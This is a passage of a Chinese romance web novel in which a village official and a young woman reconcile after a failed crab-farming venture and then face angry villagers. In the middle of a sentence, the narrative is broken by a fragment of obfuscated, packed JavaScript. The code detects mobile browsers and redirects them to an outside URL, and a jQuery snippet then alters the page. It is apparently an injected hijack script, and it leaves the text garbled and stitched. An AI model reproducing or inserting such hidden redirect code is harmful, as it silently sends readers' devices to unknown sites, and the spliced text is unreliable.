“你是我谁啊,你管我?” 这句话瞬间划开了两人之间最后的体面。 原朗的眼神暗了下来,那里面翻涌的情绪让余楸心头一颤——愤怒、无奈、疼惜,还有她读不懂的深沉情感。 “你非喝不可是吗?”他哑着嗓子问。 “是,我一定要喝。”余楸伸手去抢,却被原朗一把扣住手腕。 下一秒,她眼睁睁看着原朗仰头灌了一大口酒,喉结随着吞咽上下滚动。还没等她反应过来,后脑勺就被一只大手扣住,温热的唇重重压了下来。 辛辣的酒精被渡进口中,余楸下意识挣扎,却被原朗另一只手牢牢箍住腰肢。 啤酒的泡沫在唇齿间炸开,有些顺着她的唇角滑落,在锁骨处留下一道冰凉的痕迹。 这个吻带着惩罚的意味,却又温柔得令人心碎。原朗的舌尖扫过她的上颚,逼着她咽下每一滴酒液。余楸的挣扎渐渐弱了下来,最终只能被动地仰着头,任由他将这口酒以最亲密的方式喂给她。 当原朗终于放开她时,余楸已经气喘吁吁。酒液和唾液将她的唇染得水光潋滟,几缕发丝黏在潮红的脸颊上。 她抬手要擦嘴,却被原朗捉住手腕。 “还喝吗?” 他低声问,拇指抚过她湿润的唇角,将那滴漏网的酒渍抹去。 余楸发不出任何声音,只能呆呆看着面前的男人。 路灯的光晕在原朗深邃的眉眼间跳动,将他眸中的暗色照得忽明忽灭。 远处传来模糊的车鸣和人声,却仿佛隔着一层厚厚的毛玻璃。 这一刻,世界上好像只剩下他们两个人,和这个带着酒香的、未完成的吻。 “没喝够的话,” “我们继续。” 37. 阿原 “够了,够了...…” 余楸连连后退,直到后背抵上冰凉的路灯杆。她的嘴唇还残留着酒精的灼热感,呼吸间全是原朗身上淡淡的橙子香气。 原朗松开钳制她的手,往后退了半步,给她留出喘息的空间。 “现在回家吗?” 余楸垂下眼睛。 回家? 回家也只能看到堆满违约文件的餐桌,还有冰箱里没吃完的速食便当。 “不想回家。” “那你想去哪?” 男人的声音轻柔了许多,像是怕惊扰了夜色的静谧。 余楸茫然地抬头,霓虹灯在他轮廓分明的侧脸上投下变幻的光影。 她张了张嘴,却发现自己根本无处可去。蟹塘、村委会、那个她和原朗曾经一起吃过无数次宵夜的小木桌…… 每个地方都带着太多回忆。 “不知道。” 她最终诚实地回答。 原朗静静看了她几秒,突然伸出手。 “那你跟我走,好吗?” 余楸盯着那只手,思绪翻涌。 她知道那只手是怎样的宽大而温暖,也知道他们之间明明还有那么多未解的结,那么多没说清的话。 可此刻她却莫名相信,这只手会带她去一个安全的地方。 “好。” 她听见自己说,指尖轻轻搭上他的掌心。 原朗的跑车停在路边,流线型的车身在路灯下泛着低调的金属光泽。他替她拉开副驾驶的门,动作熟稔得仿佛时间从未在他们之间划下鸿沟。 引擎轰鸣的瞬间,余楸下意识抓住了座椅边缘。 原朗瞥了她一眼,嘴角微扬:“怕?” “谁怕了?” 余楸嘴硬道,却在他突然加速时小小地惊叫了一声。 原朗低笑出声,打开了顶篷。夜风瞬间灌进来,带着海盐和草木的气息。 余楸的长发在风中飞舞,有几缕调皮地拂过原朗的侧脸,惹得他微微皱眉。 “看路!” 余楸惊呼,因为他正转头看她。 “放心。” 原朗单手扶着方向盘,另一只手突然伸过来,轻轻握了握她紧绷的手指,“我车技很好。” 他们沿着滨湖公路疾驰,夜色中的湖面泛着细碎的银光。车速越来越快,余楸的心跳也跟着加速。 她偷偷看向原朗,发现他嘴角噙着笑,眉眼间是初见时的那般恣意张扬。 “试试。”他突然说。 “试什么?” “把手伸出去。” 原朗示范着将左手伸出车外,“感受风。” 余楸迟疑地学着他的样子,慢慢将手探入疾驰的气流中。夜风从指缝间呼啸而过,带着微凉的湿意,像是抓住了流动的月光。 “不够痛快。”原朗忽然说,“要不要试试更解压的?” 还没等余楸反应过来,他突然深吸一口气,对着夜空大喊:“去他爹的鬼天气!去他爹的违约金!” 余楸瞪大眼睛,这完全不像平时那个一丝不苟的原书记。 或者说——这才是原少爷本来的样子。 “该你了。”原朗挑眉看她。 “我、我才不要。”余楸耳根发热,“太丢人了。” “这里没人认识你。“原朗的声音被风吹得有些散,“而且...…” 他突然又喊了一声,“余楸是个胆小鬼——” “你!”余楸气结。 “证明给我看啊。”男人挑衅地看着她,“还是说,你连喊一嗓子的勇气都没有?” 余楸咬了咬下唇,深吸一口气:“啊——” 声音细若蚊呐,刚出口就被风吹散了。 “就这?” “隔壁王婶家的鸡打鸣都比你响。” 余楸气得捶了他一拳,然后猛地站起来,半个身子探出车外:“啊——!去他爹的螃蟹!去他爹的天气!” 喊完的瞬间,她整个人都愣住了,随即忍不住笑出声。那种感觉太奇妙了,像是把积压已久的郁结全都吐了出去。 “继续。”原朗鼓励道,眼里盛满笑意。 “我恨死高温了!” 余楸放声大喊,“讨厌的电商合同!讨厌的违约金!讨厌的、讨厌的……” “讨厌的原朗!” 最后一个词脱口而出,余楸立刻捂住嘴。但男人只是大笑,跟着喊道:“讨厌的余楸!讨厌的倔脾气!讨厌的冷战!” 他们就这样一路喊喊笑笑,直到车子停在一处僻静的公园。余楸的发型早已乱成一团,脸上却带着久违的轻松笑意。 “舒服点了?”原朗熄了火,转头看她。 余楸点点头,突然意识到自己还抓着原朗的手,慌忙松开。夜色掩盖了她泛红的脸颊,却藏不住微微发颤的指尖。 “那,再跟我去个地方?” 跑车缓缓停在了盐台大学的正门前,引擎声渐渐熄灭。余楸从车窗望出去,熟悉的校门在夜色中显得格外庄重,门口的喷泉依旧在运转,水声哗哗作响。 “怎么停在这了?”余楸有些惊讶地转头看向原朗。 原朗的手指轻轻敲打着方向盘,目光直视前方:“我就想停这。” 他顿了顿,声音低沉,“我不管你,你也别管我。” 余楸猛地想起来,他们之间那道裂痕依然存在。 呵,她不该忘记的,还要这男人来提醒她,搞得自己更难过。 她转过头,将脸贴在冰凉的车窗上,透过玻璃望着校园里熟悉的景色。 路灯下,三三两两的学生抱着书本走过,青春洋溢的笑声隐约传来。图书馆的灯光依然亮着,她甚至能认出自己常坐的那个靠窗位置。 一切都没变,却又好像什么都变了。 原朗静静地看着余楸的背影。她的长发散落在座椅上,发梢随着呼吸微微颤动,纤细的腰线在车内灯光的映照下若隐若现。 他不由自主地伸出手,想要像从前那样揉揉她的发顶。 就在指尖即将触碰到发丝的瞬间,他发现了不对劲,女孩的肩膀在微微颤抖。 ——她在哭。 “怎么了?” 余楸没有回头,只是将脸更深地埋进臂弯里,颤抖却更加明显了。 “余楸,回头。”原朗命令道。 余楸拼命摇头,长发随着动作摆动,有几缕黏在了湿润的车窗上。 “你哭起来很丑。” 原朗的声音软了下来,“不要吓到别人。” “你吓我就行了。” 他伸手轻轻扳过余楸的肩膀,随之而来的是余楸挂满泪水的脸庞,睫毛湿漉漉地粘在一起,鼻尖通红,嘴唇因为紧咬而泛白。 “对、对不起。” 余楸低着头,看着自己的泪珠一颗颗砸在真皮座椅上,留下深色的圆点,“弄脏你的车了。” 眼泪像断了线的珠子般滚落。她知道自己吵架的时候有多不懂事、多任性,现在自己又在他面前哭成这样,他一定更讨厌自己了。 原朗迅速关上车窗,将外界的喧嚣隔绝在外。 他捧起余楸的脸,强迫她看向自己。 “余楸,你看着我。” 余楸泪眼朦胧地抬头,视线模糊得只能看清原朗紧蹙的眉头。 “告诉我,为什么哭?” 原朗的拇指轻轻擦过她的脸颊,拭去不断涌出的泪水。 余楸摇头,她不想说,她不能说。 她不能说,是因为自己知道错了,想跟他和好,想让他像从前一样爱她。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15912220|175312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“余楸。” “告诉我吧。” “你永远都可以跟我说心里话,我答应过你的,记得吗?” “就,就是因为蟹塘、蟹塘的事。”余楸抽噎着说,“我觉得特别对不起大家。王婶把养老钱都投进去了,老张头还等着这笔钱给孙子治病,我……” “这不是你的错。” 原朗打断她,“天气原因谁都无法预料。” “可是我明明应该做好预案的!”余楸的声音带着哭腔,“去年就出现过高温天气,我要是多准备几台增氧机,要是早点联系专家……” 原朗叹了口气:“余楸,你知道今年高温破了多少年纪录吗?这不是普通的高温,是极端天气。就算你准备得再充分,也抵不过这种程度的自然灾害。” “但违约金...…” “村里一起扛。”原朗斩钉截铁地说,“我已经联系了县里的农业局,他们答应优先处理我们的补助申请。另外,省农科院下周会派专家来指导,帮助恢复生产。” 余楸眨了眨泪眼:“你、你什么时候联系的这些?” “这几天。” 男人的语气轻描淡写,手指依然在轻轻擦拭她脸上的泪痕,“我查过了,像这种情况可以申请''农业自然灾害救助'',虽然不能完全弥补损失,但至少能减轻负担。” 余楸的眼泪又涌了出来,但这次似乎多了些别的情绪:“为什么要做这些,为什么要帮我?” “你明明、明明还在生我的气...…” 原朗的手顿了一下:“我什么时候说我生气了?” “你都不理我。”余楸委屈地控诉,“开会时凶我,见面就冷着脸。” “那是因为...…” “因为我不知道该怎么面对你。” 沉默在车内蔓延,只有余楸偶尔的抽泣声打破寂静。 “余小秋。” 原朗看向她,“想吃冰淇淋吗?” 余楸愣了一下,抬起红肿的眼睛看他:“你,你不是不让我吃吗?而且,我、我已经戒了。” 男人无奈地笑了。 “我什么时候能拗得过你?” 他下车走向校门口的小卖部,背影在路灯下拉得很长。余楸透过朦胧的泪眼看着他,心跳不受控制地加快。 当原朗拿着冰淇淋回来时,余楸已经擦干了眼泪,但眼眶依然红红的。 他小心地撕开包装纸,将冰淇淋递给她:“给。” 余楸接过冰淇淋,小口小口地吃起来。甜腻的奶油混合着未干的泪水,咸涩的味道在舌尖蔓延。 她一边吃一边忍不住又掉眼泪,冰淇淋和泪水一起滑进嘴里,分不清是甜是咸。 原朗静静地看着她,突然想起那天在槐树下,他看着余楸坐在台阶上孤零零吃冰淇淋的样子。当时他躲在树后,狠狠地抽了自己一巴掌。 可是,那些伤人的话已经说出口,那些冷漠的行为已经做下,他不知道该怎么弥补,怎么才能让余楸不再讨厌自己。 “慢点吃。”原朗轻声说,递过一张纸巾。 余楸接过纸巾,却只是攥在手里,继续小口啃着冰淇淋。她的睫毛上还挂着泪珠,在灯光下闪闪发亮。 最后一口冰淇淋吃完,原朗伸手想拿走她手中的木棍。 就在这一刻,余楸突然倾身向前,柔软的唇轻轻在男人的脸颊上碰了一下。 原朗僵在原地,手中的木棍掉在了脚垫上。月光透过车窗洒在余楸的脸上,那双哭红的眼睛像是盛满了星星。 他缓缓抬手,指尖轻触刚刚被亲吻的地方,仿佛不敢相信刚才发生的事。女孩的呼吸近在咫尺,带着冰淇淋的甜香和泪水的咸涩。 她的声音很轻,带着浓浓的鼻音。 “阿原。” “对不起。” 38. 我爱你 车厢里一片昏暗,只有路灯的光透过车窗,在两人之间投下斑驳的光影。 余楸的摩挲着安全带的边缘,她能感觉到男人的目光落在自己脸上,灼热得几乎要烧出一个洞来。 “我从来没有把你当成替身。” 余楸终于打破沉默,却不敢看向身旁的人。 原朗的手指在方向盘上收紧,骨节泛白。 他没有立即回应,只是微微偏过头,让阴影遮住了半边脸。 “我知道,那天我说的话很过分。” 余楸继续道,喉咙发紧,“我不该拿你和贺源哥比较,更不该说他的零花钱都存着给我买冰淇淋。” 她的声音越来越小,因为男人的肩膀明显僵硬了一瞬。 她知道,每提起一次这件事,就会让原朗再难过一遍。 可是她没办法,她必须说,她不想失去他。 “我知道。” 原朗终于开口,声音低沉,“你说得没错,我确实管得太多。” “不是的!” 余楸急切地转身面对他,安全带勒得肩膀生疼也顾不上,“我不是那个意思!” “那是什么意思?” 原朗转头,直视她,眼中是赤裸裸的痛楚。 “余楸,你知不知道,每次你提起他,我的心就像被刀割一样?” “我...…” 余楸的声音哽咽了,“我只是气话。我从来没想过……” “可那是事实不是吗?”原朗苦笑一声,修长的手指无意识地摩挲着车钥匙。 “他确实对你好,确实从不限制你,确实...…” “确实比我更了解你。” 余楸的眼泪夺眶而出。她看着原朗垂下的睫毛,那上面似乎也挂着细小的水珠。 “不是这样的。”她颤抖着伸出手,想要触碰他的脸,却在半空中被原朗握住。 “那是什么样?” “余楸,我缺席了你人生中最重要十几年。我知道你们一起长大,知道他陪你度过了每一个重要时刻。” 男人的喉结滚动了一下,有些话卡在喉咙,怎么也吐不出来。 “那我呢?” “我算什么?一个半路杀出来的外人?” “一个你还能看得上的男人,一个你愿意花点时间跟我玩玩的男人。” 余楸再也忍不住,她不知道,她不知道原朗为什么会这么想,不知道原朗为什么对她没信心,更不知道原朗为什么对自己没信心。 她用力地摇头,长发在脸颊边扫过:“不是的,阿原,不是这样的。” 原朗松开她的手,转身从后座拿出一个玻璃盒子,递到她面前:“你看。” 余楸疑惑地打开,里面是一沓泛黄的照片——全是她和贺源的童年合影。有他们在村口槐树下吃冰棍的,有一起在蟹塘边玩耍的,甚至还有初中毕业典礼上,贺源给她戴上学士帽的瞬间。 “这些...…”余楸的手指微微发抖。 “我问余叔余婶要的。”男人的声音平静得可怕,“你所有的童年照片,我都复印了一份,就收在这个盒子里。” “从我知道你那位阿源哥哥的存在开始,我就想了解你的过去,我想尽一切办法了解你的过去。” “可是没想到,我越了解,就越害怕。” 他抽出一张照片,上面是十五岁的余楸和贺源并肩坐在塘边,看起来是那样的亲密无间。 原朗的指尖轻轻点在照片上,他羡慕,他嫉妒。 “你看他的眼神那么信任,那么依赖。而我...…” “你说的对,我就是个混蛋。” “我控制不住吃醋,控制不住自己的脾气,我骄傲自大,我从来都不懂考虑你的感受,我还凶你……” “我怎么能比得上他,我又怎么能配得上你?” “对不起。” 余楸的心疼得几乎要裂开。她终于明白原朗这些日子来的反常——他的控制欲,他的患得患失,甚至是他故意和李村官针锋相对。 全都是因为害怕失去她。 “傻瓜。” 她哽咽着,眼泪滴在照片上,晕开一小片水渍,“你怎么会这么想。” 原朗别过脸去,但余楸还是看到了他泛红的眼角。那个在人前永远从容不迫的原书记,此刻却像个害怕被抛弃的孩子,脆弱而无助。 “原朗。” 她轻轻搂过男人的脖子,“现在换你看着我,好吗?” “你听我说,我和贺源哥,那是亲情,是习惯。我承认,也许曾经有过朦胧的少女时代的感情,但现在,没有。” “我不喜欢他,他也不喜欢我。” “但我和你……” “是心动,是爱情。“ 男人呆呆地看着她,那双眸子里满是不可置信。 “你记得我们第一次见面吗?” 余楸继续道,拇指轻轻擦过他眼角的湿润,“我骑着三轮车把你的跑车撞了,你下车,穿得像只花孔雀一样,一看就是富贵人家的大少爷。你气势汹汹地问我,是不是眼睛瞎了。还撂狠话,说别让你再见到我。” “那一刻我就知道,你是我这二十五年的人生里,遇见过最特别的人。” “特别嘴毒,特别骄傲,特别讨厌。” “又特别……让人心动。” 她用指尖细细描绘过男人的眉眼:“我爱的不就是这个你吗?” “骄傲的,固执的,连吃醋都要摆出一副高高在上样子的……” “讨厌的家伙。” 原朗突然抓住她的手腕,力道大得几乎让她痛。男人的眼睛亮得惊人,像是点燃了两簇火焰。 “再说一遍。” “我爱你。” 余楸毫不犹豫地重复。 “只爱你。” 她被拉入一个炽热的怀抱。男人的手臂紧紧箍着她的腰,像是要把她揉进骨血里。余楸能感觉到他的心跳快得不像话,隔着胸膛传来有力的震动。 “对不起。” 原朗的声音闷在她的发间,“我不该说那些话,不该冷落你,不应该瞎吃醋。” 余楸摇摇头:“是我有错在先。我明知道你介意,还总是提起贺源哥。” “对不起,真的真的对不起。” 夜风轻轻吹动路边的梧桐树,沙沙作响。车内,两人紧紧相拥,所有的误会、猜忌、不安,都在这一刻被泪水冲刷干净。 “我们回家吧。” 原朗轻声说,声音里带着前所未有的释然。 余楸在他怀里点头,眼泪浸湿了他的衬衫。 她知道,这不仅仅是一句邀请,更是一个承诺——无论发生什么,他们都会一起面对,一起回家。 * 村委会前的空地上挤满了人,嗡嗡的议论声像夏日的蝉鸣般此起彼伏。 余楸站在临时搭建的台子边缘,她能感觉到无数道目光刺在自己身上,有怀疑的,有愤怒的,还有失望的。 “别怕。”原朗的声音从身后传来,温热的手掌轻轻按在她的肩膀上。 “我陪着你。” 余楸点了点头。 “各位乡亲们,安静一下。” 原朗走到台前,声音沉稳有力。人群的嘈杂声渐渐平息下来。 余楸上前一步,清了清嗓子:“首先,我要向大家道歉。这次蟹塘的亏损,我有不可推卸的责任。” 她的话音刚落,下面就炸开了锅。 “道歉有什么用!我们的钱都打水漂了!”一个满脸皱纹的老汉拍着大腿喊道。 “就是!当初说得好听,现在全完了!”另一个妇女附和着,声音尖利。 余楸的掌心沁出了汗,她强迫自己直视着愤怒的村民:“我知道大家很生气,但请给我一个解释的机会。这次蟹苗大面积死亡,是因为异常高温天气,我们已经请专家检测过了...…” “谁信啊!”一个老头突然从人群中挤出来,指着余楸的鼻子,“我看就是你技术不行,害得大家血本无归!” 余楸的脸刷地白了。这个大爷一直对她有成见,这次更是抓住了机会。 她咬了咬下唇:“李叔,我已经联系了新的蟹苗供应商,会免费提供下一批蟹苗。亏损的部分,我也会先垫付,用不着大家的钱。” “垫付?”谁知道你会不会跑路!“李老头冷笑一声,“要我说,就该让你立刻赔钱,赔不起就去坐牢!” 人群又开始骚动,有人跟着起哄。 余楸感到一阵眩晕,眼前的景象开始模糊。 她本就不是习惯于站在舞台上的人,她无力招架这来势汹汹的讨伐。 她想跑,她想逃。 忽然,一只温暖的手握住了她的手腕,带着薄茧的指尖划过她腕侧的皮肤,又轻点了两下。 “您说够了吗?”原朗的声音平静而沉缓,却让人心生恐惧,整个场地瞬间安静下来。 他站到余楸前面,高大的身影将她 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“去我那儿吧,”原朗轻声说,“咱们商量一下筹款的事。” “嗯,好。” 余楸没有拒绝。 她想,她是希望能和原朗有独处的时间的。 她有话跟他说。 踏进客厅的那一秒,余楸才意识到,自己似乎很久没有来这了。 屋子不是印象里那样整洁干净的样子,茶几上堆满了文件,沙发上是飞扬的草稿纸,地板上的玻璃杯底部已经凝固了一层厚厚的咖啡沉淀物。 “我、我最近忙。”男人不敢看她,只一边说一边快速收拾着东西。 余楸熟门熟路地给自己倒了杯水,在原朗对面坐下。 “我想了几个方案,”她打开笔记本,认真地说,“首先,村里的应急资金只能动用这一部分,不能全用,还剩下十一万四千。” 原朗点点头,目光却一直停留在她脸上。 余楸继续道:“我联系了几家水产公司,他们愿意预付一部分货款……” 她抬起头,发现原朗根本没在看她的笔记,而是直勾勾地盯着她看。那双平日里锐利的眼睛此刻柔和得像一汪春水,里面盛满了不加掩饰的迷恋。 “我脸上有东西吗?”余楸下意识摸了摸自己的脸颊。 原朗摇摇头,声音低沉:“没有。” “那你干嘛盯着我?” “好看。” 原朗的嘴角微微上扬,“怎么看都看不够。” 余楸的脸一下子热了起来,她撇过头去:“别看了,我们今天有任务的。” 她顿了顿,声音轻了几分。 “以后...…不是一直都能看吗?” 原朗的眼睛亮了起来,笑容在脸上绽开。他伸手握住余楸的手。 “对,我们有一辈子的时间。” 余楸慢慢地抽出手,假装严肃地敲了敲笔记本:“好了好了,言归正传啊。第三个方案是向银行贷款,但利率有点高。” 两人就这样讨论到深夜,余楸提出了一个又一个方案,原朗则不时补充细节。 就在他们差不多敲定最终计划时,原朗突然咳嗽了几声。 “我去给你倒杯水。“余楸起身走向厨房。 当她端着水杯回来时,发现原朗的脸色变得异常苍白。他的目光落在她的手机上——屏幕亮着,显示着一条未读消息。 「秋秋,你要的钱我已经准备好了,随时可以打给你。——贺源」 余楸的心猛地一沉,她放下水杯,刚想解释,男人却突然扑过来,将她紧紧抱住。 余楸能感觉到原朗的身体在微微发抖,他的手臂像铁箍一样勒着她的腰,几乎让她喘不过气来。 “为什么要找他借钱?” 原朗的声音嘶哑得不像话,热气喷在她的颈窝,“为什么不找我?” 余楸想转身看他,却被他抱得更紧。 “告诉我,”原朗的声音带着颤抖,“是因为我们之前在吵架,所以你才找他的,对不对?” “你告诉我,你只爱我。” “求你了。” 余楸轻轻抚摸原朗的后背,感受着他急促的呼吸。 “我只爱你。” 她柔声说,手指插入他的发间,像是在安抚一只受惊的大型犬。 “原朗,你听到了吗?” “我只爱你。”